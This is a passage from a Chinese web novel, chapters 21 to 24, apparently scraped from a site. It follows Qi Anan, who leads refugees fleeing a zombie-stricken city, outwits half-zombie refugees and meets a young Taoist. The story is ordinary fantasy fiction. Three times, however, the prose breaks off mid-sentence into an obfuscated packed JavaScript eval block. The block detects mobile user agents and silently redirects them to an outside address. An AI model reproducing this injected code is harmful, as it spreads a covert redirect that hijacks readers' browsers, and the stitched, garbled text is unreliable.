一颗小小的花开在远处的巷子口,路灯花对邪物既是威胁又是诱惑,僵尸眼中闪过一抹贪婪,随后快速扑了过去。 祁安安连忙趁机跑走了。 另一边,僵尸眼巴巴地守在路灯花四周,在发现到“宝贝”的光芒对他来说不痛不痒后,他小心翼翼的靠近,然后贪婪地张大嘴巴。 嗷!!! 一声惨叫震破天际,已经安全的祁安安收回了体验卡,咬到一口空气的僵尸捂着自己被尖牙扎破的下唇,痛得满地哀嚎。 —— 祁安安出去一趟的动静不小,祁母不知何时已经醒了,她警惕的守在地窖口,手里握着一把生锈的柴刀。 看见这幅情景,祁安安眼中闪过一抹赞许。祁母哭哭啼啼了好几天,她差点以为这人无药可救,没想到为母则刚,还是能立住的。 想了想,祁安安决定把小屋的秘密告诉她。毕竟到京城前,她们要形影不离的待在一起,早点摊牌做事也方便些。 祁安安想了个好接受些的理由,她告诉她,前些日子有老神仙托梦,给了她一个宝贝,看不见也摸不着,里面还有不少从没见过的食物。 说着,她从小屋里拿出一根冰淇淋,冻得硬邦邦还透着一股凉意,祁母试探着尝了一口,草莓的甜香味是她从未有过的味觉体验。 祁安安又紧跟着敲打她,说这是咱家的大造化,要是被有心人发现,会被杀人夺宝,知道秘密的一个都活不了。 她故意把后果说得十分严重,一番话听完,祁母被吓得脸色发白。 祁安安取出一瓶矿泉水递到她嘴边,没想到这个胆小的女人,紧紧抓住她的胳膊问:“安娘,那这宝贝会不会对你有害?要是神仙让你拿寿命换,你跟他商量商量,娘愿意双倍给他,别害我的儿。” 没想到她这么紧张是因为这个。 祁安安心中一暖,安抚的搂住她的肩膀:“放心吧女儿好着呢,老神仙是看我有眼缘才给的,别人哪有这个福气。” “那就好。”祁母心有余悸的拍拍胸口,连连保证自己绝对不会把这个秘密说出去。 出去观察了一番,祁安安把海洲城目前的情况大致摸清了,叛军已经全部撤出,城中有少量僵尸,她今晚遇见的僵尸是绿僵,对阳光还有所惧怕。 他们得赶紧离开,要不等城中尸气聚集,僵尸吸收血肉精气晋级,怕是想跑都来不及了。 21. 第 21 章 半日后,祁安安再次出来观察情况,她在边上空置的屋子里搜罗了一圈,然后敲响了蒋方虎家的菜窖,三短一长,是他们约定好的信号。 菜窖口的乱石被扒开,蒋父谨慎地探出头来,躲了好几天,他看着憔悴了些,不过到底是没受伤。 祁安安警惕着四周,语速极快的交代:“蒋叔,叛军撤走了,但城里情况不太好,我们打算往西去逃灾,晌午就走。” “逃灾?” 蒋父一惊,背井离乡,他没想到祁安安一个小姑娘居然能有这么大的魄力。 而且,外头的情况差到什么地步了? 他爬出菜窖,跳上墙头看了看。城中建筑被毁得七七八八,入目皆是尸体,又正值夏季,尸体腐烂的恶臭味扑鼻而来,到处都是盘旋的苍蝇,还有不少野狗在近处徘徊。 蒋父猛然和一条野狗的眼睛对上,那条黑犬双眼猩红,嘴角流着长长的涎液,牙齿森白尖锐,狰狞可怖的模样。 这是吃过人肉的畜生! 不,不对! 蒋父年轻时做过镖师,走南闯北见了不少世面,这条黑狗突然让他想到了极可怕的东西。海州城绝不能待了。 得赶紧逃,往西去京城,说不定能逃出一条生路来。 蒋家也要离开,祁安安干脆和他们商议好,路上一起出发,算是结个伴互相有照应。 晌午一到日头正高,祁安安带着母亲和弟弟,挑着担子离开了这个生活了十几年的家。 扁担里她放了几斤粮食,还有一个小铁锅,上面盖了层破布,充当明面上的掩饰。 祁母和弟弟穿着打满补丁的衣服,祁安安则换上了一身破旧的男装,束了头发当作男孩打扮。 说到收拾东西,祁安安想起几个小时前的情景,还是忍不住头大。 知道她有那么一个宝贝后,祁母是这也不舍得那也放不下,不说一些缺盖少底的锅碗瓢盆,就连厨房那块破烂门板也要拆下来,说路上当床板睡。 祁安安:“……” 在她的再三劝说下,祁母才恋恋不舍地把这些陪了十几年的老伙计给丢下了。 “这都是一分一分攒起来的,咱到了新地方,再置份家业多难呀。” 祁母还只当他们是跑远些逃去避难,很快就能找个安全些的府城落脚,但只有祁安安知道,这一去怕是艰难。 她没直说出来怕打击祁母的积极性,只是默不作声地挑拣些真正有用的东西装进自己的小屋里。 挑着担子走出城门,祁安安观察着周围的情况。 和他们一样离开海州的人很多,大多都是挑着箩筐的,里面放着铺盖或粮食,也有少数赶着骡车或拉着牛车的,都是十几人或几十人一群,有着不少青壮年。 粗略一看,大多数人都衣着干净、面色整洁,只是大家的表情都显得茫然不安。 出城十几里,来了一伙流民,听说是从青州逃来的。他们一脸沧桑,神色麻木。更稀罕的是,明明是大夏天,但都穿的秋装,而且下唇都有细微的伤口。 提到城破,这群人更是连连叹气,却连一句实情都不愿说出口。 蒋母心里好奇得跟猫抓一样,别说青州为何城破,她作为海州人,也不晓得几十米厚的城墙怎么瞬息之间就被攻破。 莫非叛军那边真有高人相助? 根据祁安安的记忆,这场大难其实从去年便开始了,最初是黄河決堤,山洪暴发,受灾的百姓数以万计,紧接着又是干旱,整个夏天只下了两三场毛毛细雨,尚未落地便被蒸发掉了,田里有收成的庄稼十不存一。 好不容易熬过一个冬天,各地又爆发了起义,以攻破海州的那伙平王率领的叛军最盛。 蒋母从前在街上经营个小摊子,是个自来熟的性子,她抓着一小把瓜子四处打听,渐渐地也就有人打开了话匣子。 率先开口的是个精瘦的男人,自称在城门口开了个茶水铺子,提起城破那天,他气的声音都高了。 “那劳什子闫妖道,不知道给太守灌了什么迷魂汤。叛军直奔海州而来,他却偏偏开城门做法,在城头神神叨叨的布阵设坛,还叫来一群地痞流氓等着被天兵天将附身。” “那叛军大将弯弓抬手一箭射出,哈哈哈哈哈……,哪有什么天兵天将,都不过是凡夫俗子。百年城墙,就这么被叛军不费吹灰之力跃马突袭。” “妖道骗人,他害了海州城!” 说着说着精瘦男人已经泪流满面,想想城破的担惊受怕,今后背井离乡的苦楚,不少海州人都感同身受地长叹一声。 时间一点点过去,六月的太阳仿佛要将人烤干,祁安安的脸被晒得通红,汗水流下来,更是一阵阵刺痛。 这天实在难熬,众人说道两句就慢慢闭上了嘴,连孩子的哭闹声都听不见了。 当天边的最后一丝余晖落下时,他们终于发现了一处水源。 那是一处半干的湖泊,湖不大,三面被山丘围着,只在接近湖水的地方还残留着隐约的绿色。 此时天色己晚,大多数人都选择在湖边埋锅做饭,祁安安眼见赶着骡车的那群人赶走一对父子,占据了一面临湖一面靠山的位置,她默默挑起担子,将行李放在了一处较偏僻的地方。 他们左侧是蒋家,右边是一家四口,一个面色不善的老婆子带着儿子媳妇,还有一个四岁的孙儿。奇怪的是,那个四岁大的孩子一直坐在扁担里,不哭也不闹,被破布和盖子遮得严严实实,要不是祁安安眼尖看到他脑袋动了动,还真没发现还有一个人。 他们是从青州逃过来的,身上的家当没剩多少。刚安顿下来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13509216|138758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,老婆子就怒骂儿媳妇,让她赶快去找些野菜充饥。 祁安安把自家的地盘安置好,就和蒋家打了声招呼,正准备去提水,手里的桶却被人一把抢过去。 祁母拎着水桶不赞成的开口:“安娘,还是我去打吧,你累了一天,赶紧歇歇。” 祁安安抬头看过去,这具身体是个美人胚子,祁母自然容貌不差,夜色模糊了她的五官,但火光影影绰绰却勾勒出了极好的身体曲线。 她心中叹气,脸上的神色格外严肃,沉声道,“娘,下次记得要唤我安哥儿。” “还有……” 祁安安顿了顿,目光扫过她胸前,终究还是忍不住道,“以后的衣衫再改大一些吧,这一路咱们得尽量低调。” 祁母一愣,然后快速反应过来女儿话里的意思,脸腾一下变的老红,尴尬的退了回去。 —— 祁安安回来的时候,自家那片营地正是热闹,离得老远就能听到一道苍老尖锐的女声。 “夫人啊求您发发善心,我们一家老小好几日都没有水米下肚,您就当是路边见着乞丐也施舍我们点吧。” 祁安安加快了脚步,就看到她家右边营地的老婆子,正眼巴巴的拽着祁母的胳膊,又哭又闹死活不肯撒手。 他儿子大步来到了祁家担子前,不过被蒋方虎给拦住了。 “安哥儿!” 祁母远远地看到了救星,不知哪来的力气一下把制住她的老婆子给甩开了。 祁安安挡在她身前,冷冰冰的看着在地上撒泼打滚的妇人:“大娘,哪家粮食都不是天上掉下来的,现在正是逃难的时候,给你一口,我们自家就得少一口。谁家都不宽裕,你们请回吧。” 打水去的蒋父也回来了,他从推车里抽出一把长刀,脸色不善的上前助阵。 祁安安这边气势更盛。 老太婆坐在地上一双老鼠眼转来转去,终于意识到,这次是捏错了软柿子。 “哪有你们这么欺负人的!” 她好像受了天大的委屈,看着祁安安的眼神里满是愤恨。周围几个相熟的人劝了几句,她这才忿忿不平的坐了回去,只是阴测测的眼神一直瞪着这边,瞪着这群从海州逃难出来的人,不知道心里在算计什么。 祁安安被她看得身上发毛,挑着担子往蒋家那边挪了挪。 天色晚了,各家都升起火开始做晚饭。 祁安安借着担子的掩盖拿出锅碗米菜,今天是逃难第一天,从海州出来的人带的粮食不少,没一会营地里就蔓延出一股饭香。 她也开始做饭,腊肉洗净切片在锅里煸香,然后倒上泡好的大米,饭蒸好后窝进去六个荷包蛋,再放上几根水灵灵的小油菜,焖上一分钟,开锅后淋入调好的酱油,一大锅飘香四溢的煲仔饭就做好了。 22. 第 22 章 祁安安先装了满满三大碗煲仔饭,带着弟弟一起端到蒋家。 蒋父在心里狠狠咽了咽口水,这可是结结实实有菜有肉有蛋的干饭呀,别说逃难,就是平日里他也舍不得吃这么好。 动作上却是连连摆手拒绝:“你这孩子,做这些不是见外了,叔哪能要你的东西!” 人情都是有来有往,蒋父能拔刀相助,虽说没出大力,但这种时刻能有份心便是珍贵。祁安安有心和他们交好,自然不会吝啬这一点食物。 她有话直说:“蒋叔,我们这一家子都是妇孺,没有成年男子,一路上这种场面,不知道还要遇见多少次,您和虎哥以后是我们的仰仗,这点食物就别推辞了。” 蒋母这时候也走过来,跟着一起推拒,直说着这么多年的邻居,互相照顾都是应该的。祁安安和他们掰扯了半天,最终决定大家坐在一起吃顿晚餐。 蒋方虎帮着把祁家的行李挪过来,两家人其乐融融地坐在一起,一人手里端着一碗结结实实的干饭。 蒋父可是早就按捺不住了,他挑起最上面一层金黄油亮的锅巴,大口塞进嘴里咀嚼起来。 锅巴火候掌握得极好,又薄又脆,只叫人吃了还想吃。 但锅底就那么大,每个人能分到的锅巴都有数,蒋父瞅瞅老婆孩子碗里的,到底还是拉不下脸去争一口吃的。 他转而去吃碗里的米饭,白花花的大米被油脂浸润,一粒粒都均匀的裹上酱汁,不时还能吃到咸香的腊肉,脆爽的青菜,这一碗味道香浓,口感十足。 尤其是赶了半日的路,个个都饿得饥肠辘辘,蒋父不知不觉间就把冒尖一大碗米饭吃了个干净。 再一看旁边,蒋方虎已经站起来打算去盛第二碗了。 半大小子吃穷老子,蒋父哪儿能由着傻小子敞开肚皮吃,他连忙招呼儿子:“去看看咱家的饭也该熟了吧。” 蒋家做的是野菜面片,在附近采的野菜,焯水之后剁碎加进面粉里,再擀成厚薄均匀的面片做汤喝。 这一道道工序下来可费不少功夫,因此蒋家饭晚了些,一碗煲仔饭下肚,野菜面片汤才刚煮好。 起锅前,蒋母也大方地往里加了好几个鸡蛋,最后点上香油,鲜美的味道一下子就激发出来了。 吃完干饭,一人又分了多半碗面片汤,连汤带水美美喝下肚,这顿饭吃得别提有多痛快了。 就连八岁的祁晖也连一个饭粒都不落下,把自己的小碗吃得干干净净。 吃过饭蒋母拉着祁母的手又唠了半天,直夸祁安安做饭手艺好,人又孝顺,给祁母夸得都不好意思了。 少时,两家人简单洗漱一下,准备就寝。 祁安安和蒋家人商量着,总觉得从青州逃难的那些人不太对劲,晚上还是留个心眼,轮流守夜。 除去祁晖,他们五个一人一班,一直到天亮。 刚吃完人家的嘴短,蒋家人自然是没有不同意的,于是就这么定下。 祁母守最安全的第一班,然后是蒋母,祁安安,蒋父和蒋方虎。 —— 夜幕缓缓降临,营地里也慢慢安静下来,不少人都进入了梦乡。远处隐约传来动物的叫声,不过他们一二百号人在此处扎营,倒是不怕狼群什么的。 蒋母守完第二班,过来悄悄把祁安安拍醒。 这时已是深夜,祁安安睁开眼睛,脸上毫无睡意。她视线飞快扫过营地,第一天逃难的难民还不算多有警惕心,守夜的人少,而且不少人脑袋一点一点,已经快睡着了。 她悄悄挪动身体,让自己靠在了正对着右侧那家人的大石头上。然后往嘴里塞了颗提神的薄荷糖,紧紧盯着他们的一举一动。 那老婆子还没睡,正在费劲地挠痒,挠完左手挠右手,挠完前胸挠后背,足足过了小半个时辰才停下。 还没安生一会儿,她又佝偻着腰,蹲在扁担前捣鼓半天,最后捧了个碗站起来。 祁安安还没弄明白她想干什么,紧接着听到了一阵窸窸窣窣的声音。远处接连站起来好几个人影,他们放轻脚步,悄无声息的靠近几个守夜人,然后手起刀落。 一切都在电光石火间,看这娴熟的样子,他们绝对不是第一次干这种事了。 祁安安从空间里拿出一把信号枪,快速往天上放了一发。 “嘭”沉闷的一声,一下把沉睡的众人惊醒。 有人晕晕乎乎地揉着眼睛,下一秒就被大片的鲜血吓了一跳。 “死,死人啦!” 惊呼声在营地接二连三响起。 骚乱却没有持续太久,因为他们看见了更恐怖的东西。 这些动手的青州难民,好像有点不大对劲。 月色下,他们整张脸呈现一种病态的青色,皮肤有点发皱,仔细看能看见密密的褶子印。再仔细听,能听到他们喉咙里发出几声沙哑毛糙的不明呼呼声。 是僵尸,却又保有神智? 是什么东西? 祁安安猜测他们是中了尸毒,嘴唇破是牙痒长獠牙了,挠痒痒是手痒长指甲了,只不过还未完全发作,现在是半人半尸。 她这边被那一家四口包围起来,面容阴鸷的老婆子朝她伸手,那只手上指甲极长,颜色黑紫。 电光火石间,那只僵尸手已经朝她面门抓来,她迅速避闪过,同时从小屋里抽出一把桃木剑,胡乱戳刺了几下。 那婆子如今半人半尸,对僵尸有用的桃木剑也成了她的克星,每剑落下,她都剧痛嚎叫,不得不后撤缓冲。 蒋父和蒋方虎也连忙冲过来,三人围成一个圆形,把祁母等人保护起来。 老婆子一击不成,却桀桀一笑,眼里闪过毒蛇般阴鸷的狠意,她哑着嗓子对所有人开口:“都是逃难的人,俺们也不是偏要拼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13529201|138758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个你死我活。6斤糯米换一条人命,一手交米一手走人,我们时间不多,过期不候。” 6斤粮食不算多,咬咬牙也能拿出来,但海州不是糯米产区,等了一会儿,竟是一个站出来的人都没有。 有人咬咬牙大喊:“半人半尸的东西怕他作甚,不想死就抄家伙给我砍出一条路来!” 青州难民也就二三十号人,只是他们样子实在诡异,这才一下把人怵着了,现在生死关头真要拼命,还不一定谁死谁活。 那婆子见此,脸上的笑容反而诡异的扩大了,“可别说老婆子心狠,这是你们自找死路。” 她从扁担里抱出孙子,先把一层又一层麻绳解开,然后取出塞在嘴里的破布。 众人定睛看去,只见那孩子肤色青青红红白白,身体上长了不少黑毛,双腿、双手都是,像一只滑稽的毛猴子。 祁安安视角里这小孩的血条足有5500,比上次的绿僵还高。 看着它与众不同的面孔,她心中升起一个不妙的想法,这该不会是一只还未进化完成的毛僵吧。 她的猜测很快被印证,老太婆和小孩耳语几声,那头半毛僵咧开嘴露出坚硬的獠牙,蹭一下朝人群袭来。 他速度极快,力气又惊人,瞬息间就收割了三四条人命。 毛僵和普通僵尸最大的不同,就在于它基本已经脱离人类□□,开始能够自我生长并且拥有神智了。 一般的僵尸若是不得机缘,大概一直都只是一具行尸走肉,但毛僵不同。到了毛僵这个程度,毛发可以再生,本身也会具有相应的法力,在地面上称得上是僵尸之王了。 这样的僵尸无论是对同类还是对人类,都不可小觑。 蒋父虎口发麻,低头一看,祁安安递过来的桃木剑,已经出现几道明显的的裂缝。 这小鬼不好对付。 他心里发苦,几乎是交代遗言:“一会我拦住它,你们赶紧逃。安娘,叔知道你是有大本事的人,看在情分上,劳烦你也能照拂我家人。” “爹!”蒋方虎不可置信地大喊,蒋母听他的话,眼眶也悄悄红了。 有半毛僵助阵,半人半尸的攻势更加迅猛,死亡的阴影笼罩在每一个人身上。 ——嘭! 祁安安看准时机扔出一个裹着符咒的土豆雷。 物理伤害加魔法伤害一起叠满。 小鬼血条瞬间爆减1300。 它哀嚎一声,一跃退回到了岩石上,猩红的瞳孔里透出几分人性化的谨慎。 接下来小鬼没有贸然出击,而是时不时下来搞搞偷袭,给难民这边又造成不少伤亡。 祁安安眼珠一转,她把土豆雷悄咪咪种在了了小鬼最爱的那块岩石上。 三十秒时间一到,土豆雷可可爱爱的破土而出。然后又是“嘭!”的一声,小鬼脚底板开花,痛的满地打滚。 23. 第 23 章 “我儿!” “乖孙!” 两个女人的惊叫声同时响起。 小鬼忌惮地盯着祁安安,它并不聪明的脑袋转了转,决定把这个最难缠的对手放在最后。于是其他海州人的压力陡然增大,在接连又死了几个人后。 有个年轻妇人一把跪下来,“噗通噗通”结结实实对着祁安安磕了好几个响头,边磕头边喊: “仙姑,求您发发善心救救俺们吧。” “仙姑!” “仙姑救命啊……” 夜色昏暗,道道黄土线黑得像墨,零星几根树影照过来,浓重的阴黑像是能从那边涌过来一样。 海州难民们被吓破了胆,抖着腿一边祷告,一边疯了似朝祁安安的方向拥挤。 嘈杂的脚步声里,有瘦弱的孩子被踩倒,有落在后头的被小鬼一爪毙命,后头过来的人根本顾不上什么,只知道离祁安安近些就多一分活路。 祁安安被蒋方虎护着,才勉强没有被涌过来的人潮挤倒,她在最中间,被无数道祈求期盼的目光锁定,一时间压力山大。 土豆雷还剩五颗库存,但那小鬼长了记性,行动神出鬼没又极为迅速,她趁乱预判了好几个位置,都被它一一躲过。 这种情况,她救得了这么多人吗? 祁安安心中犹豫挣扎,几息之后,她眼珠一转,顿时心生一计。 她让蒋父帮忙维持秩序,然后拨开人群上前,青州流民和小鬼齐齐往后退一步,场面倒是颇为滑稽。 她开口,声音不高,却能清楚的传到每个人的耳朵里:“你们要糯米是想解尸毒?这样怕是用量不少,而且就算把我们全杀了,也凑不出那么多。到时候分赃不均该怎么办呢?” “谁能痊愈,谁变僵尸,谁半死不活,你们决定好了吗?” “这可用不着你操心。”那家儿媳阴恻恻的开口,“既然有糯米,我劝你们赶紧拿出来,能活一个是一个。毕竟‘仙姑’的宝贝也不是用之不竭的吧?” 她果然猜到了。 祁安安沉默不语,似乎一下子被人戳到痛处,心虚了起来。 片刻后,她长叹一口气,垂着头闷闷的说:“六斤糯米是吧,我交,你们放我走。” “仙姑!” “安哥儿!” 海州人没想到费心抱上的大腿怂的这么快,喊出的一声声都泣着血。就连蒋家和祁家人同样也不理解,看着祁安安的眼神满是疑惑。 她回避掉所有眼神,从扁担里取出糯米,放在了面前的空地上。 老太婆捡了根木棍,一点点把布袋勾了过去,看清里面圆润光滑的糯米,顿时松了一口气。 看祁安安都服软,海州人也泄了气,陆陆续续又有三四个人交了糯米走出来,这其中又是免不了一番争斗。 青州人见了糯米就像狗见了骨头,一个个眼光炙热,恨不得扑上去争抢,只是碍于老太婆家里养了个道行高深的小鬼,这才勉强压住了垂涎。 有人忍不住催促道:“桂花婶,咱们赶紧把糯米分分,都急等着用呢!” “急急急,你急着去投胎啊!”老太婆阴森森地斜了他一眼,却是迫不及待抓了一大把糯米,使劲往身上抹。 这些人不敢吭声,只能眼巴巴瞧着,心里都骂娘。明明是一起出的力,咋到享受的时候就没他们的份,凭啥嘞! 不会轮到最后,便宜都被老太婆家占去,他们擎等着变僵尸吧。 一下子,青州人里也多了不少心思浮动的。 —— 老太婆享受地搓了半天,等她觉得差不多了,兴高采烈地摊开手一看—— 居然毫无变化! 别说是尸毒一下清完变回正常人,咋这指甲瞅着还更长了些! “你骗俺这不是糯米!” “不,不对……”糯米圆润光滑,显然品质极高,这绝对没问题,“难道是那道士诓俺?为啥没用啊?” 老太婆心急如焚,其他人更是脸色瞬间灰败。 一直以来,他们都靠着找到糯米就能变回正常人的希望撑着,结果现在告诉他们,这一切都是个骗局! 有人痛苦地坐倒在地,有人承受不住打击,神情恍惚地走向倒地的尸体,扑上去咬开血管,大口吮吸起来。 反正迟早是要变成僵尸,还不如趁现在多多吸收血气,将来变成僵尸也能成个厉害的。 祁安安冷眼看着这场闹剧,直到恐惧和绝望蔓延到地垫时,她才慢慢开口:“你们中的尸毒不是外伤,用糯米外敷是没有用的。想要见效,只能是用石磨把糯米磨成细细的米浆,坐在里面把浑身浸泡透,尸毒才能一点点排出来。” 她撩起眼皮,摊摊手无奈道:“这点糯米撑死了够五个人的用量,剩下的人怎么办呢?” 老太婆眼里怨恨一闪而过,却也知道现在要和同乡站在一条船上,她焦急道:“别信她!她在骗你们!她还想把这群海州人救出来!” “不是,”祁安安笑了,她一脸无辜的站在原地,好声好气道,“我想救他们和想救你们没有冲突呀,你们听我说。” 青州人的神情是前所未有的戒备,但目前为止,祁安安说的句句属实,又事关自己性命,他们不得不听上两句。 祁安安不紧不慢地继续补充:“其实也不一定非得用糯米,我这边有另一个法子。不知道你们有没有听过僵尸牙?” “取僵尸的獠牙,磨成细粉喝下去,对尸毒药到病除。而且实力越强的僵尸,牙粉越有效,就比如说那小鬼,它一对牙,估摸着都能救八个人。” “还有吸食了血气的那些,虽然质量不好,但牙凑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13546827|138758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 合凑合也能用。现成的材料就在手边,你们何必舍近求远,非要用糯米?” 这群青州人脸色变了几变,陡然意识到他们被老太婆忽悠得不轻。从最开始他们的需求就是拿到糯米解毒,但老太婆偏说,要是普通人看见他们这副模样,怕是没了活路。 于是这一路,他们为了掩盖痕迹杀了不少人,反而让小鬼吸了不少血气愈发难搞。 但他们明明最开始只是为了想解开尸毒而已啊。 一群人瞬间浑身冰凉。 有反应快的已经拿起绳索先捆住了一个“猎物”,同时提起刀宣示自己的所有权。 祁安安蛊惑的声音还响在耳旁:“我知道你们的顾忌,你们打不过他。但这小鬼被我打成了重伤,你们如今半人半尸,对上胜算很大。更何况,它亲人都在,现成的诱饵还不好用吗……” 青州人霎时瞪大眼。 老太婆如跌冰窖,浑身抖如筛糠,不!!! 她拼了命地想逃跑,然而哪儿跑得过一群青壮年,她被人硬生生拖了回来,和儿子媳妇绑在一起充当着诱饵。 她的乖孙孙一次次扑上来想要救她,但却被狡猾的人类一次次打退。 空旷的野地里,人类的惨叫声和僵尸的咆哮声不绝于耳,令人毛骨悚然。青州流民里,有人往被五花大绑的猎物嘴边塞着血肉,盼望它牙齿能再长些;有人趁乱抢走了糯米,跑得不知所踪;祁安安远远地看着小鬼僵尸那边的战场,估计着应该是五五开。 活人打僵尸总是有诸多顾及,但这群半人半尸却是卡了个大bug,他们没有痛觉,又不怕受伤,却还保留着神志。这小鬼虽然是半毛僵,但掉了一半的血条,又没啥脑子,还有把柄在他们手里,怕是捞不着什么好。 祁安安安心的待在人群里,时不时扔出几张符纸,给那小鬼补上两刀。 等了许久,天色慢慢亮起,这一切终于结束。小鬼僵尸被制服,祁安安烧了一把大火,亲眼看着他的尸体被烧得一干二净。 有两个带着糯米逃走的,被蒋父跟上去悄悄解决掉了,这边乱战中活下来了四个。不用她动手,一群海州人一拥而上,拿起锄头砖块把他们一下一下砸成稀巴烂。 凶手死了,但逝去的亲人却是再回不来。一群人沉默着收拾东西,又往前走了一里地,开始扎营做饭。 蒋父看着走在不远处的祁安安,神情复杂,昨天晚上这女孩的每一个行为,都在不停刷新他的世界观。 首先是诡秘莫测的攻击手法,蒋父连那只半毛僵都打不过,自认为更不是祁安安的对手。 还有那狠辣的计谋,她就那么笑着,陈述着利害,玩弄着人心,温和地,将刀塞进了他们自己人手里。 他脸上闪过忌惮、钦佩种种情绪,最后不得不打心里承认:祁安安,实在可怕。 24. 第 24 章 比起蒋父的纠结,祁母倒是豁达,她不算聪明人,昨晚闺女的样子,确实让她吃了一惊。不过她很快就想通了,南城有个痴儿梦里被神仙点化,一夜之间启蒙开智,后来还考上了举人。 那安娘聪明点厉害点有问题吗? 当然是没毛病。 早饭吃得简单,祁安安煮了一锅稠稠的杂粮粥,就着一碟木瓜丝。 木瓜丝是网购的湘省特产,用了多多的蒜粒和小米辣拌好,佐粥下饭很是一绝。祁母觉得滋味不错,一筷接一筷吃了不少。 稀饭喝到碗底,她惊讶地发现,下面居然还沉着一个水煮蛋和好几大块牛肉。 这是…… 抬头看见闺女正含笑的看过来,祁母心中一暖,连忙背着人把好东西快速解决。 另一边的祁晖却是没心情享受美味的早饭,小孩子精力不足,昨晚乱了一场,他胡乱塞了两口,困得小脑袋都快栽进碗里。 祁母看得心疼,吃过饭问蒋家借了手推车,把祁晖抱到车上,让他能睡一会儿。 日头越升越高,天气也越来越热。刚出发时,祁安安身边还时不时凑来几个人,试探的、讨好的、巴结的心思各异。渐渐地大家都不再说话,身体的疲惫让人变得压抑麻木。头顶的太阳就像一个大火球,肆意地炙烤大地,也在使劲榨干体内的水分。 祁安安拿起水囊狠狠灌了一口,却只在液体滑过口腔的片刻感受到清凉。 她眯着眼睛使劲往前看,入目是一片苍凉的昏黄,干裂的田地荒凉的山丘。一年大旱,路边别说树了,就连野草也没活下来几颗。 蒋父狠狠咀嚼着嘴里的草根,用力榨出了最后一点水分。他胡乱擦一把汗,鼓舞大家:“诸位,再坚持一下,往前几里有个郝家村,到了咱们就能遮阴喝水了!” 他说的不差,难民们又强撑着往前走了几里地,很快就看到了他口中所说的郝家村。 从外头看,郝家村的房子大都是用石头垒成的,应该是个殷实的村子。 “……好、好静。” 刚一进村,蒋方虎就觉得不太对劲,她紧紧贴着他爹,眼睛瞪得老大,谨慎地戒备着。 蒋父一把攥住他的胳膊,脚下步子不自觉地放轻了些,看样子倒是比儿子还紧张。 随着祁安安一行人进入村子,不知道从哪儿吹来一阵细风,破烂的窗户,将开欲开的木门,在风中轻微的“吱呀——”“吱呀——”响着。 听得人寒气直往天灵盖上冒。 而且那些东西……活人一过,吱呀得更厉害。 整个村子就像死了一样,难民们不知不觉,挤成一团,跟紧跟着母鸡的鸡崽子一样,紧紧缀在祁安安背后。 难民里原本一开始还有人,见村子里没人,以为他们同样逃难去了,还想着能够进村子的屋子里搜搜,看看能不能搜出点郝家村民没带走的干粮什么的。眼下个个手脚冰凉,别说是去那些屋子里翻了,连稍微掉队一两步都不敢。 路过的黑幽幽的石头房屋里,仿佛还有东西在屋里陈着。 硕大、黑沉,像一个个沉甸甸的棺木。 蒋方虎挨着他爹走,在土路一个拐弯的时候,冷不丁从一个破窗户里瞥见里头的情景。 整整齐齐五口棺材一字排开,而且—— 那棺材板子在动! 蒋方虎瞪大眼,刚要惊叫出声,就被他爹死死地捂住了嘴巴。蒋父捂着自己的娃,一手握着刀,额头上满是冷汗。 “看好路别掉队。”女孩的声音从队伍最前方传来,不算大,却让他们一下子找到主心骨。 心神恍惚的难民一个激灵,没谁敢再乱瞟乱瞅,都垂下了眼睛,紧张兮兮地跟着祁安安往前走。 越往郝家村里头去就越诡异,明明太阳高悬,却越走身上越冷,边上的窗户也越来越暗。 带着几十个货真价实的普通难民,祁安安没心情去探寻这村子里发生了什么,又是什么东西摆在屋子里。 她攥着土豆雷,带着队伍飞快往前,眼看马上就要走出村子,耳边突然响起一阵清脆的铃铛声。 “铃铃铃——” “铃铃铃——” 铃铛声响起的时候,不少难民都膝盖一软,差点跪倒在泥巴路上。 众人你看看我我看看你,脚下跟灌了铅似的,怕的一步都挪不动了。 祁安安在心里长长地叹了一口气。 她明明是才过了新手任务的小菜鸡,怎么在这个世界,成了回回都要打头阵的那个。 沉默且心累…… 想归想,她还是鼓起勇气迈出步子,往前去查看情况。 绕开最后一座挡着视线的房子,祁安安到了村口,看到了铃声的来源。 是个身着破烂道袍的小道士,看着年龄20岁上下,相貌普通,但一双眼睛却亮的惊人。 他虚弱的躺在地上,唇色苍白,手上一枚赤色铃铛正一晃一晃发着响声。 铃铛摇摆间极富韵律,看着不像是凡物。 听见脚步声,他虚弱的抬起头,明亮的眼睛瞪得滚圆,看着祁安安啧啧称奇:“咳咳咳,死人村里咋还能跑出来个活的?” “小兄弟说句实话,你是活人还是僵尸?” 祁安安微微挑眉,对他拱拱手:“在下海州人士,和父老乡亲逃难至此,您这是……” 